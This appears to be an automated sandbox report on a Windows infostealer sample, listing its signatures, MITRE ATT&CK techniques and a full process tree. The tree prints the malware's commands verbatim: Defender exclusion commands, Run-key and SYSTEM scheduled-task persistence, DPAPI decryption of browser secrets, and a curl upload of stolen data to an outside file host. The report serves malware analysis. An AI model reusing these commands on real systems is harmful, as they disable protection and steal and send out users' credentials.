7afdfc51e20e5f336761b4a1964a8949428dff7b96ea8389c4db9383afe2e336

Analysis

max time kernel
47s
max time network
84s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
11/05/2024, 06:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe
Size 37.6MB
Sample240511-hce8badd79
SHA256 6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef
MD5 dbcc5cfb5b91fae4370930affd3d7ef9
SHA1 5e5598375c5abeee8c18c9c28a5138e3763df29b
SHA512 0b66dbb037c5e30a451732403d5e0f278588bf78d4c12d660b75f53713f05e233bb5785942155f5dab88ecb92edc789c8b583621077077f7bee1b56f20dc8584
SSDEEP 393216:RQgHDlanaGBXvDKtz+bhPWES4tiNQPNrIKc4gaPbUAgrO4mg196l+ZArYsFRlQ6x:R3on1HvSzxAMN1FZArYsDPv47OZRqIx
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution persistence spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3364	powershell.exe
208	powershell.exe
1004	powershell.exe
3736	powershell.exe
1444	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe

Loads dropped DLL 1 IoCs

pid	Process
4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Powershell = "\"powershell.exe\" -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\Users\\Admin\\AppData\\Local\\Temp\\kTPEexZicjmIyDu.ps1\""	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	api.ipify.org

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
2532	cmd.exe
3452	cmd.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4400	schtasks.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery

T1057

pid	Process
3736	tasklist.exe
4508	tasklist.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1760	taskkill.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1004	powershell.exe
1004	powershell.exe
772	powershell.exe
772	powershell.exe
1280	powershell.exe
1280	powershell.exe
1444	powershell.exe
1444	powershell.exe
3736	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1004	powershell.exe
Token: SeDebugPrivilege	3736	tasklist.exe
Token: SeDebugPrivilege	1760	taskkill.exe
Token: SeDebugPrivilege	4508	tasklist.exe
Token: SeDebugPrivilege	772	powershell.exe
Token: SeDebugPrivilege	1280	powershell.exe
Token: SeIncreaseQuotaPrivilege	3052	WMIC.exe
Token: SeSecurityPrivilege	3052	WMIC.exe
Token: SeTakeOwnershipPrivilege	3052	WMIC.exe
Token: SeLoadDriverPrivilege	3052	WMIC.exe
Token: SeSystemProfilePrivilege	3052	WMIC.exe
Token: SeSystemtimePrivilege	3052	WMIC.exe
Token: SeProfSingleProcessPrivilege	3052	WMIC.exe
Token: SeIncBasePriorityPrivilege	3052	WMIC.exe
Token: SeCreatePagefilePrivilege	3052	WMIC.exe
Token: SeBackupPrivilege	3052	WMIC.exe
Token: SeRestorePrivilege	3052	WMIC.exe
Token: SeShutdownPrivilege	3052	WMIC.exe
Token: SeDebugPrivilege	3052	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3052	WMIC.exe
Token: SeRemoteShutdownPrivilege	3052	WMIC.exe
Token: SeUndockPrivilege	3052	WMIC.exe
Token: SeManageVolumePrivilege	3052	WMIC.exe
Token: 33	3052	WMIC.exe
Token: 34	3052	WMIC.exe
Token: 35	3052	WMIC.exe
Token: 36	3052	WMIC.exe
Token: SeDebugPrivilege	1444	powershell.exe
Token: SeIncreaseQuotaPrivilege	1092	WMIC.exe
Token: SeSecurityPrivilege	1092	WMIC.exe
Token: SeTakeOwnershipPrivilege	1092	WMIC.exe
Token: SeLoadDriverPrivilege	1092	WMIC.exe
Token: SeSystemProfilePrivilege	1092	WMIC.exe
Token: SeSystemtimePrivilege	1092	WMIC.exe
Token: SeProfSingleProcessPrivilege	1092	WMIC.exe
Token: SeIncBasePriorityPrivilege	1092	WMIC.exe
Token: SeCreatePagefilePrivilege	1092	WMIC.exe
Token: SeBackupPrivilege	1092	WMIC.exe
Token: SeRestorePrivilege	1092	WMIC.exe
Token: SeShutdownPrivilege	1092	WMIC.exe
Token: SeDebugPrivilege	1092	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1092	WMIC.exe
Token: SeRemoteShutdownPrivilege	1092	WMIC.exe
Token: SeUndockPrivilege	1092	WMIC.exe
Token: SeManageVolumePrivilege	1092	WMIC.exe
Token: 33	1092	WMIC.exe
Token: 34	1092	WMIC.exe
Token: 35	1092	WMIC.exe
Token: 36	1092	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3052	WMIC.exe
Token: SeSecurityPrivilege	3052	WMIC.exe
Token: SeTakeOwnershipPrivilege	3052	WMIC.exe
Token: SeLoadDriverPrivilege	3052	WMIC.exe
Token: SeSystemProfilePrivilege	3052	WMIC.exe
Token: SeSystemtimePrivilege	3052	WMIC.exe
Token: SeProfSingleProcessPrivilege	3052	WMIC.exe
Token: SeIncBasePriorityPrivilege	3052	WMIC.exe
Token: SeCreatePagefilePrivilege	3052	WMIC.exe
Token: SeBackupPrivilege	3052	WMIC.exe
Token: SeRestorePrivilege	3052	WMIC.exe
Token: SeShutdownPrivilege	3052	WMIC.exe
Token: SeDebugPrivilege	3052	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3052	WMIC.exe
Token: SeRemoteShutdownPrivilege	3052	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4548 wrote to memory of 1148	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	92
PID 4548 wrote to memory of 1148	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	92
PID 1148 wrote to memory of 1504	1148	cmd.exe	93
PID 1148 wrote to memory of 1504	1148	cmd.exe	93
PID 1148 wrote to memory of 1004	1148	cmd.exe	94
PID 1148 wrote to memory of 1004	1148	cmd.exe	94
PID 1004 wrote to memory of 3776	1004	powershell.exe	97
PID 1004 wrote to memory of 3776	1004	powershell.exe	97
PID 3776 wrote to memory of 2376	3776	csc.exe	98
PID 3776 wrote to memory of 2376	3776	csc.exe	98
PID 4548 wrote to memory of 1764	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	99
PID 4548 wrote to memory of 1764	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	99
PID 4548 wrote to memory of 4060	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	100
PID 4548 wrote to memory of 4060	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	100
PID 4060 wrote to memory of 3736	4060	cmd.exe	101
PID 4060 wrote to memory of 3736	4060	cmd.exe	101
PID 1764 wrote to memory of 948	1764	cmd.exe	102
PID 1764 wrote to memory of 948	1764	cmd.exe	102
PID 4548 wrote to memory of 2096	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	103
PID 4548 wrote to memory of 2096	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	103
PID 2096 wrote to memory of 1760	2096	cmd.exe	104
PID 2096 wrote to memory of 1760	2096	cmd.exe	104
PID 4548 wrote to memory of 4628	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	105
PID 4548 wrote to memory of 4628	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	105
PID 4548 wrote to memory of 2532	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	106
PID 4548 wrote to memory of 2532	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	106
PID 4628 wrote to memory of 4508	4628	cmd.exe	107
PID 4628 wrote to memory of 4508	4628	cmd.exe	107
PID 2532 wrote to memory of 772	2532	cmd.exe	108
PID 2532 wrote to memory of 772	2532	cmd.exe	108
PID 4548 wrote to memory of 3452	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	109
PID 4548 wrote to memory of 3452	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	109
PID 3452 wrote to memory of 1280	3452	cmd.exe	110
PID 3452 wrote to memory of 1280	3452	cmd.exe	110
PID 4548 wrote to memory of 2240	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	111
PID 4548 wrote to memory of 2240	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	111
PID 4548 wrote to memory of 1040	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	112
PID 4548 wrote to memory of 1040	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	112
PID 4548 wrote to memory of 2872	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	113
PID 4548 wrote to memory of 2872	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	113
PID 4548 wrote to memory of 2280	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	114
PID 4548 wrote to memory of 2280	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	114
PID 2240 wrote to memory of 3052	2240	cmd.exe	116
PID 2240 wrote to memory of 3052	2240	cmd.exe	116
PID 2280 wrote to memory of 1444	2280	cmd.exe	117
PID 2280 wrote to memory of 1444	2280	cmd.exe	117
PID 4548 wrote to memory of 3064	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	118
PID 4548 wrote to memory of 3064	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	118
PID 1040 wrote to memory of 4024	1040	cmd.exe	115
PID 1040 wrote to memory of 4024	1040	cmd.exe	115
PID 3064 wrote to memory of 1092	3064	cmd.exe	119
PID 3064 wrote to memory of 1092	3064	cmd.exe	119
PID 2872 wrote to memory of 4400	2872	cmd.exe	120
PID 2872 wrote to memory of 4400	2872	cmd.exe	120
PID 4548 wrote to memory of 4304	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	121
PID 4548 wrote to memory of 4304	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	121
PID 4304 wrote to memory of 2324	4304	cmd.exe	122
PID 4304 wrote to memory of 2324	4304	cmd.exe	122
PID 1444 wrote to memory of 2052	1444	powershell.exe	123
PID 1444 wrote to memory of 2052	1444	powershell.exe	123
PID 2052 wrote to memory of 3440	2052	csc.exe	124
PID 2052 wrote to memory of 3440	2052	csc.exe	124
PID 4548 wrote to memory of 3196	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	125
PID 4548 wrote to memory of 3196	4548	6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe	125

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe
"C:\Users\Admin\AppData\Local\Temp\6dab794279dc9e6d92d967740790aa5b3e159a7913cd81b0cf424bdb9f0ac2ef.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "type .\temp.ps1 | powershell.exe -noprofile -"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" type .\temp.ps1 "
    3⤵
    PID:1504
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -noprofile -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1004
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\by4u0wym\by4u0wym.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3776
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7BF1.tmp" "c:\Users\Admin\AppData\Local\Temp\by4u0wym\CSCB1214520C11F409280C87EA11134E0.TMP"
        5⤵
        
        PID:2376
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1764
- - C:\Windows\system32\curl.exe
    curl http://api.ipify.org/ --ssl-no-revoke
    3⤵
    PID:948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4060
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM msedge.exe /F"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2096
- - C:\Windows\system32\taskkill.exe
    taskkill /IM msedge.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4628
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,62,21,214,225,79,56,69,78,166,59,95,27,253,149,23,2,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,226,241,92,66,174,187,6,38,209,193,142,166,116,244,248,31,73,3,124,122,132,249,215,184,221,61,142,63,81,31,235,133,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,131,228,65,214,200,163,167,4,113,222,37,206,252,183,179,243,139,246,96,173,127,6,13,187,15,183,207,98,67,208,33,241,48,0,0,0,149,231,106,81,112,102,41,127,125,162,67,100,183,39,147,134,104,182,155,155,80,150,49,84,30,123,115,253,164,30,208,57,168,236,10,216,222,207,149,153,9,220,3,233,51,202,182,161,64,0,0,0,165,23,67,63,92,175,41,154,37,17,89,91,54,206,178,76,58,178,32,96,55,61,68,213,172,26,220,113,216,72,144,138,217,131,17,196,132,54,25,154,207,53,11,7,244,44,83,247,206,53,182,251,206,70,40,32,195,82,216,215,113,156,204,19), $null, 'CurrentUser')"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:2532
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,62,21,214,225,79,56,69,78,166,59,95,27,253,149,23,2,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,226,241,92,66,174,187,6,38,209,193,142,166,116,244,248,31,73,3,124,122,132,249,215,184,221,61,142,63,81,31,235,133,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,131,228,65,214,200,163,167,4,113,222,37,206,252,183,179,243,139,246,96,173,127,6,13,187,15,183,207,98,67,208,33,241,48,0,0,0,149,231,106,81,112,102,41,127,125,162,67,100,183,39,147,134,104,182,155,155,80,150,49,84,30,123,115,253,164,30,208,57,168,236,10,216,222,207,149,153,9,220,3,233,51,202,182,161,64,0,0,0,165,23,67,63,92,175,41,154,37,17,89,91,54,206,178,76,58,178,32,96,55,61,68,213,172,26,220,113,216,72,144,138,217,131,17,196,132,54,25,154,207,53,11,7,244,44,83,247,206,53,182,251,206,70,40,32,195,82,216,215,113,156,204,19), $null, 'CurrentUser')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,62,21,214,225,79,56,69,78,166,59,95,27,253,149,23,2,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,250,203,26,212,42,194,220,26,90,175,134,213,11,76,108,251,178,211,157,50,35,45,101,191,236,114,64,22,152,67,245,176,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,7,202,206,153,170,146,14,167,88,194,42,83,92,227,167,109,113,8,208,147,74,248,8,139,147,105,127,243,42,208,77,77,48,0,0,0,245,164,225,119,226,205,122,111,182,12,224,217,168,188,156,78,116,147,0,79,243,181,240,67,85,162,35,183,254,98,84,238,114,84,162,42,42,23,138,180,60,138,208,220,229,211,252,31,64,0,0,0,39,187,96,133,1,80,114,159,65,136,219,158,61,184,73,103,251,55,65,241,248,46,159,241,200,79,223,18,21,123,126,104,211,38,238,37,55,206,29,183,134,81,61,51,253,101,226,119,172,218,152,225,121,102,240,192,135,75,46,199,143,213,101,139), $null, 'CurrentUser')"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:3452
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,62,21,214,225,79,56,69,78,166,59,95,27,253,149,23,2,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,250,203,26,212,42,194,220,26,90,175,134,213,11,76,108,251,178,211,157,50,35,45,101,191,236,114,64,22,152,67,245,176,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,7,202,206,153,170,146,14,167,88,194,42,83,92,227,167,109,113,8,208,147,74,248,8,139,147,105,127,243,42,208,77,77,48,0,0,0,245,164,225,119,226,205,122,111,182,12,224,217,168,188,156,78,116,147,0,79,243,181,240,67,85,162,35,183,254,98,84,238,114,84,162,42,42,23,138,180,60,138,208,220,229,211,252,31,64,0,0,0,39,187,96,133,1,80,114,159,65,136,219,158,61,184,73,103,251,55,65,241,248,46,159,241,200,79,223,18,21,123,126,104,211,38,238,37,55,206,29,183,134,81,61,51,253,101,226,119,172,218,152,225,121,102,240,192,135,75,46,199,143,213,101,139), $null, 'CurrentUser')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1280
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2240
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get serialnumber
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Steam /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1040
- - C:\Windows\system32\reg.exe
    reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Steam /f
    3⤵
    PID:4024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "GoogleUpdateTaskMachineUAC" /tr "cscript //nologo C:\ProgramData\edge\Updater\RunBatHidden.vbs" /sc minute /mo 10 /f /RU SYSTEM"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "GoogleUpdateTaskMachineUAC" /tr "cscript //nologo C:\ProgramData\edge\Updater\RunBatHidden.vbs" /sc minute /mo 10 /f /RU SYSTEM
    3⤵
    - Creates scheduled task(s)
    PID:4400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\edge\Updater\Get-Clipboard.ps1""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2280
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\edge\Updater\Get-Clipboard.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1444
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kv4rhkbx\kv4rhkbx.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2052
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9F0A.tmp" "c:\Users\Admin\AppData\Local\Temp\kv4rhkbx\CSC719EB7069D9F49749E21CBD0FF618BA8.TMP"
        5⤵
        
        PID:3440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3064
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get smbiosbiosversion
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\ProgramData\edge\Updater\RunBatHidden.vbs""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4304
- - C:\Windows\system32\cscript.exe
    cscript //nologo "C:\ProgramData\edge\Updater\RunBatHidden.vbs"
    3⤵
    PID:2324
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\ProgramData\edge\Updater\CheckEpicGamesLauncher.bat" "
      4⤵
      PID:2628
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:208
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\CaptureScreens.ps1""
  2⤵
  PID:3196
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\CaptureScreens.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "curl --location --request POST "https://api.filedoge.com/upload" -H "Content-Type: multipart/form-data;" --form "file=@C:/ProgramData/Steam/Launcher/EN-Oailvcny.zip";"
  2⤵
  PID:2676
- - C:\Windows\system32\curl.exe
    curl --location --request POST "https://api.filedoge.com/upload" -H "Content-Type: multipart/form-data;" --form "file=@C:/ProgramData/Steam/Launcher/EN-Oailvcny.zip";
    3⤵
    PID:4764
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
  2⤵
  PID:4404
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get serialnumber
    3⤵
    PID:436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
  2⤵
  PID:4492
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic MemoryChip get /format:list
    3⤵
    PID:1524
- - C:\Windows\system32\find.exe
    find /i "Speed"
    3⤵
    PID:4120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_computersystemproduct get uuid"
  2⤵
  PID:3388
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_computersystemproduct get uuid
    3⤵
    PID:2912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic PATH Win32_VideoController GET Description,PNPDeviceID"
  2⤵
  PID:1736
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Description,PNPDeviceID
    3⤵
    PID:3760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell wininit.exe"
  2⤵
  PID:3520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell wininit.exe
    3⤵
    PID:4272
  - - C:\Windows\system32\wininit.exe
      "C:\Windows\system32\wininit.exe"
      4⤵
      PID:1872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

EN-Oailvcny.zip

Path C:\ProgramData\Steam\Launcher\EN-Oailvcny.zip
Size 2KB
SHA256 e148925086e0ffb77ac62eb06509a58d249c8f489faa00ff8dc7a70d962f32fd
MD5 cb59a0a76503d671682a1c028ecf1639
SHA1 60839eba6ccabdddd76f06e994b2e92138e05cf6
SHA512 0ae99bee84f9635b2855a1a9b611496ac69e1ffabc45a3e41719e7a14bee0de2e04655312f7dcd286799c3cb30043f728d47a2170379c1aececc71770d65c66d
MD5 SHA1 SHA512

Submit Download

Autofills.txt

